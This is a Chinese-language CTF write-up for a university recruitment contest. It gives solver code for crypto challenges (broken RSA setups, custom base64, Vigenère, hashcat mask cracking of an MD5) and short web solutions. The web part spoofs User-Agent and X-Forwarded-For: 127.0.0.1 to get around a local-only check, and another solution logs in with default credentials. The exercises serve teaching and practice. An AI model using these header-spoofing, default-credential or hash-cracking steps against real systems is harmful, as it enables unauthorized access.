2025 SWPU-NSSCTF 秋季招新入门训练赛

Crypto

1.拟态签到题

ZmxhZ3tHYXFZN0t0RXRyVklYMVE1b1A1aUVCUkNZWEVBeThyVH0=

base64没什么好说的

flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

2.base??

dict:{0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V', 10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7', 20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e', 30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X', 40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R', 50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u', 60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='}

chipertext: FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw

base64魔改

base64原理就是把原字符串的ASCII码二进制分组,每6bit个一组(2^6=64),然后换成对应的字符

那么也就是说base64的长度应该是原来的长度的4/3倍

即每4个base64编码,对应3个原始信息

base64的长度需要是4的倍数,原始信息的长度需要是3的倍数,不够的用0补上,然后base64后面跟上相应数量的等号

1
2
3
4
5
6
7
8
9
10
11
12
dict={0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V', 10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7', 20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e', 30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X', 40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R', 50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u', 60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='}
key = list(dict.keys())
value = list(dict.values())
chipertext ='FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw'
plaintext = ''
for i in chipertext:
plaintext += bin(key[value.index(i)])[2:].zfill(6)
plain = ''
for i in range(0,len(plaintext),8):
plain += chr(int(plaintext[i:i+8],2))
print(plain)

3.家人们!谁懂啊,RSA签到都不会 (初级)

不值得做

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *

p = 12567387145159119014524309071236701639759988903138784984758783651292440613056150667165602473478042486784826835732833001151645545259394365039352263846276073
q = 12716692565364681652614824033831497167911028027478195947187437474380470205859949692107216740030921664273595734808349540612759651241456765149114895216695451
c = 108691165922055382844520116328228845767222921196922506468663428855093343772017986225285637996980678749662049989519029385165514816621011058462841314243727826941569954125384522233795629521155389745713798246071907492365062512521474965012924607857440577856404307124237116387085337087671914959900909379028727767057
e = 65537
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
#b'LitCTF{it_is_easy_to_solve_question_when_you_know_p_and_q}'

4.Happy

('c=', '0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9eL') ('e=', '0x872a335') #q + qp^3 =1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586 #qp + q p^2 = 1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594

从这题开始有点意思

给了两个值,不妨记作a,b

由于p是素数,p^2-p+1不是p的倍数,所以最大公因数为1

根据这个, 然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c=0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9e
e=0x872a335
gift1=1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586
gift2= 1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594
from Crypto.Util.number import *
from gmpy2 import *
qp = GCD(gift1,gift2)
p = gift2 // qp
q = qp //(p+1)
phi = (p-1)*(q-1)
d = inverse(e,phi)
n = p*q
m = pow(c,d,n)
print(long_to_bytes(m))

5.Crypto7

1
69f7906323b4f7d1e4e972acf4abfbfc,得到的结果用NSSCTF{}包裹。

不知道什么东西,没提示

问一下gpt,原来是md5,用cmd5查一下,是

1
md5yyds

6.Crypto4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from gmpy2 import *
from Crypto.Util.number import *

flag = '**********'

p = getPrime(512)
q = next_prime(p)
m1 = bytes_to_long(bytes(flag.encode()))


e = 0x10001
n = p*q


flag1 = pow(m1,e,n)
print('flag= '+str(flag1))
print('n= '+str(n))


flag= 10227915341268619536932290456122384969242151167487654201363877568935534996454863939953106193665663567559506242151019201314446286458150141991211233219320700112533775367958964780047682920839507351492644735811096995884754664899221842470772096509258104067131614630939533042322095150722344048082688772981180270243
n= 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153

费马分解没什么好说的

不过直接factorb就行了

1
2
3
4
5
6
p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421
q = n // p
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(flag,d,n)
print(long_to_bytes(m))

7.Crypto6

var="************************************" flag='NSSCTF{' + base64.b16encode(base64.b32encode(base64.b64encode(var.encode()))) + '}' print(flag)

小明不小心泄露了源码,输出结果为:4A5A4C564B36434E4B5241544B5432454E4E32465552324E47424758534D44594C4657564336534D4B5241584F574C4B4B463245365643424F35485649534C584A5A56454B4D4B5049354E47593D3D3D,你能还原出var的正确结果吗?

1
2
3
4
flag = b'4A5A4C564B36434E4B5241544B5432454E4E32465552324E47424758534D44594C4657564336534D4B5241584F574C4B4B463245365643424F35485649534C584A5A56454B4D4B5049354E47593D3D3D'
from base64 import *
flag=b64decode(b32decode(b16decode(flag)))
print(flag)

顺序反过来解码就行了

8.Big RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from flag import *

n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n1)
c = pow(c, e, n2)

print("c = %d" % c)

# output
# c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264

显然N不互素

有两层加密,质量有点低

1
2
3
4
5
6
7
8
9
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264
p =GCD(n1,n2)
q1= n1//p
q2 = n2//p
phi1 = (p-1)*(q1-1)
d1 = inverse(e,phi1)
phi2 = (p-1)*(q2-1)
d2 = inverse(e,phi2)
print(long_to_bytes(pow(pow(c,d2,n2),d1,n1)))

9.Vigenère

给了很长一段密文,显然可以用重合指数 (Index of Coincidence, IC) 攻击

简单思路就是给密文分组,然后计算每个分组的IC指数,如果IC指数接近自然语言,那就说明每组的长度就是密钥长度

原因在于,分组之后,每一列就是一个凯撒密码,因为使用的密钥是一样的

由于凯撒密码只移位,不会改变字母出现的频率,所以IC指数接近自然语言

这个IC指数,就是密文中选出两个相同字母的概率 如果是随机生成的字母,IC应该是1/26 而自然语言是0.065

要记得把密文用re处理一下,可以用sub替换

注意正则表达式

1
[^A-Z]

表示除了A-Z以外的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import re
import string
from collections import Counter

# 英文自然语言频率
ENGLISH_FREQ = [
0.08167,0.01492,0.02782,0.04253,0.12702,0.02228,
0.02015,0.06094,0.06966,0.00153,0.00772,0.04025,
0.02406,0.06749,0.07507,0.01929,0.00095,0.05987,
0.06327,0.09056,0.02758,0.00978,0.02360,0.00150,
0.01974,0.00074
]
ALPHABET = string.ascii_uppercase
ciphertext = '''
'''
cip = re.sub('[^A-Z]',"",ciphertext.upper())
# print(cip)
def IC(group):
fre = [0]*26
for i in range(len(group)):
fre[ALPHABET.index(group[i])] +=1
sum = 0
for i in fre:
sum += i*(i-1)
IC = sum / (len(group)*(len(group)-1))
return IC
ic = []
for keylen in range(1,15):
if 1:
groups = [[] for _ in range(keylen)]
for i in range(len(cip)):
groups[i%keylen].append(cip[i])
ic.append((abs(sum([IC(groups[i]) for i in range(len(groups))]) / len(groups)-0.065),keylen,groups))
ic.sort()
#按ic最接近0.065排序,第一个就是最可能的长度
def chi(exp,fac):
chi = 0
for i,j in zip(exp,fac):
chi += (i-j)**2 / i
return chi
def Ceasar(plain,key):
ciphertext = ''
for i in range(len(plain)):
ciphertext += ALPHABET[(ALPHABET.index(plain[i])-key)%26]
return ciphertext
print("最有可能的密钥长度",ic[0][1])
key = []
for groups in ic[0][2]:
candidate = []
for shift in range(26):
plain = Ceasar(groups,shift)
fre = [0 for i in range(26)]
for j in range(len(plain)): #卡方分布最接近英语的,就是密钥
fre[ALPHABET.index(plain[j])] +=1 /len(plain)
candidate.append(chi(ENGLISH_FREQ,fre))
key.append(ALPHABET[candidate.index(min(candidate))])
print("最有可能的密钥","".join(key))

求出长度之后,每一列都是一个凯撒加密,直接用词频分析即可

10.MD5的破解

hashcat的使用

1
2
3
4
5
6
#flag全是由小写字母及数字组成
m=md5(flag).hexdigest()
print(flag[:13]+flag[15:18]+flag[19:34]+flag[35:38])
print(m)
# b'LitCTF{md5can3derypt213thoughcrsh}'
# 496603d6953a15846cd7cc476f146771

注意到13,14,18,34的字节未知,用掩码代替,然后hashcat爆破就行了

1. Hashcat 掩码攻击的基本语法

1
hashcat -a 3 -m <hash_type> <hashfile> <mask>
  • -a 3 = mask attack
  • -m = 哈希类型(比如 0=MD5, 100=SHA1,具体见 hashcat --help | grep Hash modes
  • <hashfile> = 保存目标哈希的文件
  • <mask> = 掩码(定义爆破范围)

2. 掩码的写法

hashcat 内置了一些「通配符」:

  • ?l → 小写字母 abcdefghijklmnopqrstuvwxyz
  • ?u → 大写字母
  • ?d → 数字 0123456789
  • ?s → 特殊字符
  • ?a → 所有可见 ASCII
  • ?h → 16 进制字符 [0-9a-f]
  • ?b → 全部字节 (0x00–0xff)

你也可以自定义,比如 -1 ?l?d 表示「小写 + 数字」这个自定义集合。


3. 针对「小写字母 + 数字」

你可以有两种方式:

方式一:用内置组合

1
-1 ?l?d

这样定义一个自定义字符集,包含小写字母和数字。

于是

1
hashcat -a 3 -m 0 496603d6953a15846cd7cc476f146771 -1 ?l?d LitCTF{md5can?1?13de?1rypt213thoughcr?1sh}

12.Is the only base

1
2
SWZxWl=F=DQef0hlEiSUIVh9ESCcMFS9NF2NXFzM
今年是本世纪的第23年呢

看到等号,怀疑是base64,但是这里等号应该是在一起的,应该是进行了换位

提示23,换位密码的话,首先想到的是栅栏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
def rail_fence_decrypt(cipher, key):
n = len(cipher)
rail = [['\n' for i in range(n)] for j in range(key)]

# mark places with '*'
dir_down = None
row, col = 0, 0
for i in range(n):
if row == 0:
dir_down = True
if row == key - 1:
dir_down = False
rail[row][col] = '*'
col += 1
row += 1 if dir_down else -1

# fill cipher text
index = 0
for i in range(key):
for j in range(n):
if rail[i][j] == '*' and index < n:
rail[i][j] = cipher[index]
index += 1

# read zig-zag
result = []
row, col = 0, 0
for i in range(n):
if row == 0:
dir_down = True
if row == key - 1:
dir_down = False
if rail[row][col] != '*':
result.append(rail[row][col])
col += 1
row += 1 if dir_down else -1
return "".join(result)


cipher = "SWZxWl=F=DQef0hlEiSUIVh9ESCcMFS9NF2NXFzM"
for k in range(2, 24):
print(f"key={k}: {rail_fence_decrypt(cipher, k)}")
###key=2: SIWVZhx9WElS=CFc=MDFQSe9fN0Fh2lNEXiFSzUM
key=3: SQSeWf90ZhNlxEFiWS2UlINV=hX9FEFS=CzcDMMF
key=4: SFIFV=WDh29QZeENSfx0CXchWlMFFEliSz9S=UNM
key=5: SllSNCE=WFicXMS=ZDUFFSIQxeV9zNhfW09FM2Eh
key=6: SWfIMXFV0lW=hhSF99lFZ=EENzFSiDxQSC2MNcUe
key=7: SWeSS9FNCUflW=0IcFz2MVhFZ=lhFNMXS9EDxQiE
key=8: Sx=0US9FNCIhDWWlQlVcFz2MhEe=ZFfi9FNMXSES
key=9: Sx=0S9MFz2FEUhDWWlQlISSNMX9CVEe=ZFfihcNF
key=10: Sx=0ShCS2zN9c9UhDWWlQlIEMNXMFFFSVEe=ZFfi
key=11: SZ=QhShCS2zN9c9UleFxWW=fEIEMNXMFFFSVi0Dl
key=12: SZl=ehShCS2zN9c9UlfD=xWWFQ0EIEMNXMFFFSVi
key=13: SZl=ehiI9CS2zN9cEVSlfD=xWWFQ0EUhSMNXMFFF
key=14: SZl=ehiI9CFNNzXFScEVSlfD=xWWFQ0EUhSM92FM
key=15: SZl=ehiI9CFNNFMzXFScEVSlfD=xWWFQ0EUhSM92
key=16: SZl=ehiI9CF9FNFMzX2NScEVSlfD=xWWFQ0EUhSM
key=17: SZl=ehiI9ScF9FNFMzX2NSMCEVSlfD=xWWFQ0EUh
key=18: SZl=ehiUV9ScF9FNFMzX2NSMCEhISlfD=xWWFQ0E
key=19: SZl=e0liUV9ScF9FNFMzX2NSMCEhISEhfD=xWWFQ
key=20: SZlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==xWW
key=21: SWxlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==WZ
key=22: SWZxlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==W
key=23: SWZxWlFDe0liUV9ScF9FNFMzX2NSMCEhISEhfQ==
###

key=23的时候,就是base64了,解出来

1
IfqZQC{IbQ_Rp_E4S3_cR0!!!!!}

应该还有一层,rot23就是了

LitCTF{LeT_Us_H4V3_fU0!!!!!}

13.factorb

1
2
3
e = 65537
n = 87924348264132406875276140514499937145050893665602592992418171647042491658461
c = 87677652386897749300638591365341016390128692783949277305987828177045932576708

比较低质量的题,直接factorb分解

p=275127860351348928173285174381581152299

q = n//p

14.yafu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
n = 1
for i in range(15):
n *=getPrime(32)
e = 65537
c = pow(m,e,n)
print(f'n = {n}')
print(f'c = {c}')
'''
n = 15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307
c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717
'''

比较低质量,sage factor直接做

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
n=15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307
p = list(factor(n))
p = [ fac[0] for fac in p]
phi = 1
for prime in p:
phi *= prime -1
c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717
e = 65537
d = inverse(e,phi)
m = long_to_bytes(pow(c,d,n))
print(m)

15.e的学问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
m=bytes_to_long(b'xxxxxx')
p=getPrime(256)
q=getPrime(256)
e=74
n=p*q
c=pow(m,e,n)
print("p=",p)
print("q=",q)
print("c=",c)
#p= 86053582917386343422567174764040471033234388106968488834872953625339458483149
#q= 72031998384560188060716696553519973198388628004850270102102972862328770104493
#c= 3939634105073614197573473825268995321781553470182462454724181094897309933627076266632153551522332244941496491385911139566998817961371516587764621395810123

e显然和phi不互素,不过可以直接拆成小模 可以直接在p,q的有限域下求 的解 然后CRT就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
e=74
p= 86053582917386343422567174764040471033234388106968488834872953625339458483149
q= 72031998384560188060716696553519973198388628004850270102102972862328770104493
n=p*q
c= 3939634105073614197573473825268995321781553470182462454724181094897309933627076266632153551522332244941496491385911139566998817961371516587764621395810123
P.<x> = PolynomialRing(Zmod(p))
f = x^e - c
m = f.monic().roots()
m1 = [int(i[0]) for i in m]
P.<x> = PolynomialRing(Zmod(q))
f = x^e - c
m = f.monic().roots()
m2 = [int(i[0]) for i in m]
for x1 in m1:
for x2 in m2:
m = CRT([x1,x2],[p,q])
print(long_to_bytes(m))
b'vZ.\x9eG\t\xac\x06\x109\x8e\xff\x16\xf4F\x7f^\xf3\xfe\x9e\x8b\xf6\xa4\x85ew\xfb\xd2\xeb%\xfd\xa4W\x00\xb4\x99\xf7\x91\xf2\xa3a\x1d\xef\xb3.\xe9+\x9db\x82( b\xae\x84\xf7\xdb\xc6\xe0%\xed\xd9x\x0c'
b'B1\x0b\x0b\xa0\xc6\x9cu\x99\xfb\x82a\xaf?TU\x02F\x8b2\xe1\x15\xef\x07\x85\xb6\x9fw\xba\xb1g\xe1\xf8,\x83\x13\x82\x83\x80zJ3\r\x95K\xa3\x91\xb1\xc6\xe8\xec)\xcb\x94\x88\x8f\x9f\x1e54\x83\xd0Ep'
b'4)#\x92\xa6C\x0f\x90v>\x0c\x9dg\xb4\xf2*\\\xadsk\xaa\xe0\xb5}\xdf\xc1\\[0t\x95\xc2^\xd41\x86u\x0er)cTVa7\x8c\x15P\xfa\xca\xafV\x05Jp\xc7}\x07\xfbc\xd3v\x98\x19'
b'LitCTF{e_1s_n0t_@_Prime}'

16.childRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from random import choice
from Crypto.Util.number import isPrime, sieve_base as primes
from flag import flag


def getPrime(bits):
while True:
n = 2
while n.bit_length() < bits:
n *= choice(primes)
if isPrime(n + 1):
return n + 1

e = 0x10001
m = int.from_bytes(flag.encode(), 'big')
p, q = [getPrime(2048) for _ in range(2)]
n = p * q
c = pow(m, e, n)

# n = 32849718197337581823002243717057659218502519004386996660885100592872201948834155543125924395614928962750579667346279456710633774501407292473006312537723894221717638059058796679686953564471994009285384798450493756900459225040360430847240975678450171551048783818642467506711424027848778367427338647282428667393241157151675410661015044633282064056800913282016363415202171926089293431012379261585078566301060173689328363696699811123592090204578098276704877408688525618732848817623879899628629300385790344366046641825507767709276622692835393219811283244303899850483748651722336996164724553364097066493953127153066970594638491950199605713033004684970381605908909693802373826516622872100822213645899846325022476318425889580091613323747640467299866189070780620292627043349618839126919699862580579994887507733838561768581933029077488033326056066378869170169389819542928899483936705521710423905128732013121538495096959944889076705471928490092476616709838980562233255542325528398956185421193665359897664110835645928646616337700617883946369110702443135980068553511927115723157704586595844927607636003501038871748639417378062348085980873502535098755568810971926925447913858894180171498580131088992227637341857123607600275137768132347158657063692388249513
# c = 26308018356739853895382240109968894175166731283702927002165268998773708335216338997058314157717147131083296551313334042509806229853341488461087009955203854253313827608275460592785607739091992591431080342664081962030557042784864074533380701014585315663218783130162376176094773010478159362434331787279303302718098735574605469803801873109982473258207444342330633191849040553550708886593340770753064322410889048135425025715982196600650740987076486540674090923181664281515197679745907830107684777248532278645343716263686014941081417914622724906314960249945105011301731247324601620886782967217339340393853616450077105125391982689986178342417223392217085276465471102737594719932347242482670320801063191869471318313514407997326350065187904154229557706351355052446027159972546737213451422978211055778164578782156428466626894026103053360431281644645515155471301826844754338802352846095293421718249819728205538534652212984831283642472071669494851823123552827380737798609829706225744376667082534026874483482483127491533474306552210039386256062116345785870668331513725792053302188276682550672663353937781055621860101624242216671635824311412793495965628876036344731733142759495348248970313655381407241457118743532311394697763283681852908564387282605279108

n非常大,但是p-1,q-1都光滑,用Pollard攻击轻松解决

1
2
3
4
5
6
7
8
9
10
def Pollard(N):
B = 2
x = 2
while True:
x = pow(x, B, N)
p = gmpy2.gcd(x-1, N)
if p not in [1,N]:
q = N // p
return [p,q]
B += 1

17.Crypto1

给了一个e1e2,和前面共模攻击一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
from gmpy2 import *
import random
c1= 463634070971821449698012827631572665302589213868521491855038966879005784397309389922926838028598122795187584361359142761652619958273094398420314927073008031088375892957173280915904309949716842152249806486027920136603248454946737961650252641668562626310035983343018705370077783879047584582817271215517599531278507300104564011142229942160380563527291388260832749808727470291331902902518196932928128107067117198707209620169906575791373793854773799564060536121390593687449884988936522369331738199522700261116496965863870682295858957952661531894477603953742494526632841396338388879198270913523572980574440793543571757278020533565628285714358815083303489096524318164071888139412436112963845619981511061231001617406815056986634680975142352197476024575809514978857034477688443230263761729039797859697947454810551009108031457294164840611157524719173343259485881089252938664456637673337362424443150013961181619441267926981848009107466576314685961478748352388452114042115892243272514245081604607798243817586737546663059737344687130881861357423084448027959893402445303299089606081931041217035955143939567456782107203447898345284731038150377722447329202078375870541529539840051415759436083384408203659613313535094343772238691393447475364806171594
c2= 130959534275704453216282334815034647265875632781798750901627773826812657339274362406246297925411291822193191483409847323315110393729020700526946712786793380991675008128561863631081095222226285788412970362518398757423705216112313533155390315204875516645459370629706277876211656753247984282379731850770447978537855070379324935282789327428625259945250066774049650951465043700088958965762054418615838049340724639373351248933494355591934236360506778496741051064156771092798005112534162050165095430065000827916096893408569751085550379620558282942254606978819033885539221416335848319082054806148859427713144286777516251724474319613960327799643723278205969253636514684757409059003348229151341200451785288395596484563480261212963114071064979559812327582474674812225260616757099890896900340007990585501470484762752362734968297532533654846190900571017635959385883945858334995884341767905619567505341752047589731815868489295690574109758825021386698440670611361127170896689015108432408490763723594673299472336065575301681055583084547847733168801030191262122130369687497236959760366874106043801542493392227424890925595734150487586757484304609945827925762382889592743709682485229267604771944535469557860120878491329984792448597107256325783346904408
N= 609305637099654478882754880905638123124918364116173050874864700996165096776233155524277418132679727857702738043786588380577485490575591029930152718828075976000078971987922107645530323356525126496562423491563365836491753476840795804040219013880969539154444387313029522565456897962200817021423704204077133003361140660038327458057898764857872645377236870759691588009666047187685654297678987435769051762120388537868493789773766688347724903911796741124237476823452505450704989455260077833828660552130714794889208291939055406292476845194489525212129635173284301782141617878483740788532998492403101324795726865866661786740345862631916793208037250277376942046905892342213663197755010315060990871143919384283302925469309777769989798197913048813940747488087191697903624669415774198027063997058701217124640082074789591591494106726857376728759663074734040755438623372683762856958888826373151815914621262862750497078245369680378038995425628467728412953392359090775734440671874387905724083226246587924716226512631671786591611586774947156657178654343092123117255372954798131265566301316033414311712092913492774989048057650627801991277862963173961355088082419091848569675686058581383542877982979697235829206442087786927939745804017455244315305118437
e1e2 = 3087
e = list(factor(e1e2))
from itertools import product

def all_divisors(e):
primes = [i[0] for i in e]
values = [i[1] for i in e]
exponents = [range(e+1) for e in values]
divisors = []
for powers in product(*exponents):
d = 1
for p, k in zip(primes, powers):
d *= p**k
divisors.append(d)
return sorted(divisors)
for e1 in all_divisors(e):
e2 = e1e2 // e1
e,x,y = gcdext(e1,e2)
print(f'e={e}')
mpow = pow(c1,x,N)*pow(c2,y,N) % N
for k in range(2**22):
if iroot(mpow+k*N,e)[1]:
m = iroot(mpow+k*N,e)[0]
print(f'k={k}')
print(long_to_bytes(m))
break

18.Crazy_Rsa_Tech

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from Crypto.Util.Padding import *
from gmpy2 import *
FLAG = bytes_to_long(pad(b"flag{??????}",64))
def init_key():
p, q = getPrime(512), getPrime(512)
n = p*q
e = 9
while(GCD((p-1)*(q-1),e)!=1):
p, q = getPrime(512), getPrime(512)
n = p*q
d = inverse(e,(p-1)*(q-1))
return n,e,d

n_list=list()
c_list=list()
for i in range(9):
N,e,d=init_key()
n_list.append(N)
c=pow(FLAG,e,N)
c_list.append(pow(FLAG,e,N))
assert(pow(c,d,N)==FLAG)
print("n_list:",n_list)
print("c_list:",c_list)
n_list= [71189786319102608575263218254922479901008514616376166401353025325668690465852130559783959409002115897148828732231478529655075366072137059589917001875303598680931962384468363842379833044123189276199264340224973914079447846845897807085694711541719515881377391200011269924562049643835131619086349617062034608799, 92503831027754984321994282254005318198418454777812045042619263533423066848097985191386666241913483806726751133691867010696758828674382946375162423033994046273252417389169779506788545647848951018539441971140081528915876529645525880324658212147388232683347292192795975558548712504744297104487514691170935149949, 100993952830138414466948640139083231443558390127247779484027818354177479632421980458019929149817002579508423291678953554090956334137167905685261724759487245658147039684536216616744746196651390112540237050493468689520465897258378216693418610879245129435268327315158194612110422630337395790254881602124839071919, 59138293747457431012165762343997972673625934330232909935732464725128776212729547237438509546925172847581735769773563840639187946741161318153031173864953372796950422229629824699580131369991913883136821374596762214064774480548532035315344368010507644630655604478651898097886873485265848973185431559958627423847, 66827868958054485359731420968595906328820823695638132426084478524423658597714990545142120448668257273436546456116147999073797943388584861050133103137697812149742551913704341990467090049650721713913812069904136198912314243175309387952328961054617877059134151915723594900209641163321839502908705301293546584147, 120940513339890268554625391482989102665030083707530690312336379356969219966820079510946652021721814016286307318930536030308296265425674637215009052078834615196224917417698019787514831973471113022781129000531459800329018133248426080717653298100515701379374786486337920294380753805825328119757649844054966712377, 72186594495190221129349814154999705524005203343018940547856004977368023856950836974465616291478257156860734574686154136925776069045232149725101769594505766718123155028300703627531567850035682448632166309129911061492630709698934310123778699316856399909549674138453085885820110724923723830686564968967391721281, 69105037583161467265649176715175579387938714721653281201847973223975467813529036844308693237404592381480367515044829190066606146105800243199497182114398931410844901178842049915914390117503986044951461783780327749665912369177733246873697481544777183820939967036346862056795919812693669387731294595126647751951, 76194219445824867986050004226602973283400885106636660263597964027139613163638212828932901192009131346530898961165310615466747046710743013409318156266326090650584190382130795884514074647833949281109675170830565650006906028402714868781834693473191228256626654011772428115359653448111208831188721505467497494581]
c_list=[62580922178008480377006528793506649089253164524883696044759651305970802215270721223149734532870729533611357047595181907404222690394917605617029675103788705320032707977225447998111744887898039756375876685711148857676502670812333076878964148863713993853526715855758799502735753454247721711366497722251078739585, 46186240819076690248235492196228128599822002268014359444368898414937734806009161030424589993541799877081745454934484263188270879142125136786221625234555265815513136730416539407710862948861531339065039071959576035606192732936477944770308784472646015244527805057990939765708793705044236665364664490419874206900, 85756449024868529058704599481168414715291172247059370174556127800630896693021701121075838517372920466708826412897794900729896389468152213884232173410022054605870785910461728567377769960823103334874807744107855490558726013068890632637193410610478514663078901021307258078678427928255699031215654693270240640198, 14388767329946097216670270960679686032536707277732968784379505904021622612991917314721678940833050736745004078559116326396233622519356703639737886289595860359630019239654690312132039876082685046329079266785042428947147658321799501605837784127004536996628492065409017175037161261039765340032473048737319069656, 1143736792108232890306863524988028098730927600066491485326214420279375304665896453544100447027809433141790331191324806205845009336228331138326163746853197990596700523328423791764843694671580875538251166864957646807184041817863314204516355683663859246677105132100377322669627893863885482167305919925159944839, 2978800921927631161807562509445310353414810029862911925227583943849942080514132963605492727604495513988707849133045851539412276254555228149742924149242124724864770049898278052042163392380895275970574317984638058768854065506927848951716677514095183559625442889028813635385408810698294574175092159389388091981, 16200944263352278316040095503540249310705602580329203494665614035841657418101517016718103326928336623132935178377208651067093136976383774189554806135146237406248538919915426183225265103769259990252162411307338473817114996409705345401251435268136647166395894099897737607312110866874944619080871831772376466376, 31551601425575677138046998360378916515711528548963089502535903329268089950335615563205720969393649713416910860593823506545030969355111753902391336139384464585775439245735448030993755229554555004154084649002801255396359097917380427525820249562148313977941413268787799534165652742114031759562268691233834820996, 25288164985739570635307839193110091356864302148147148153228604718807817833935053919412276187989509493755136905193728864674684139319708358686431424793278248263545370628718355096523088238513079652226028236137381367215156975121794485995030822902933639803569133458328681148758392333073624280222354763268512333515]
me = crt(c_list,n_list)
print(long_to_bytes(iroot(me,9)[0]))

广播攻击,一个CRT,没意思

Web

1.gift_F12

image-20250819104224973

如题,f12拿到flag

2.Do_you_know_http

打开有Please use 'WLLM' browser!

抓包把User-Agent改成WLLM

image-20250819110401500

得到一个

image-20250819110435950

说只能在本地读取

修改

当客户端通过代理(如反向代理、负载均衡器等)访问网站时,服务器端只会看到来自代理的 IP 地址,无法得知真实客户端身份。这时就用到了 X-Forwarded-For:代理服务器在转发请求时,会把客户端 IP 写进这个新头部,帮网站“追踪来源”

X-Forwarded-For: 127.0.0.1

image-20250819112541804

把get请求改成secrettttt.php拿到flag

image-20250819112826299

3.Webftp

账号密码admin,admin888能登进去,但是没什么用,什么都打不开

image-20250819120746235

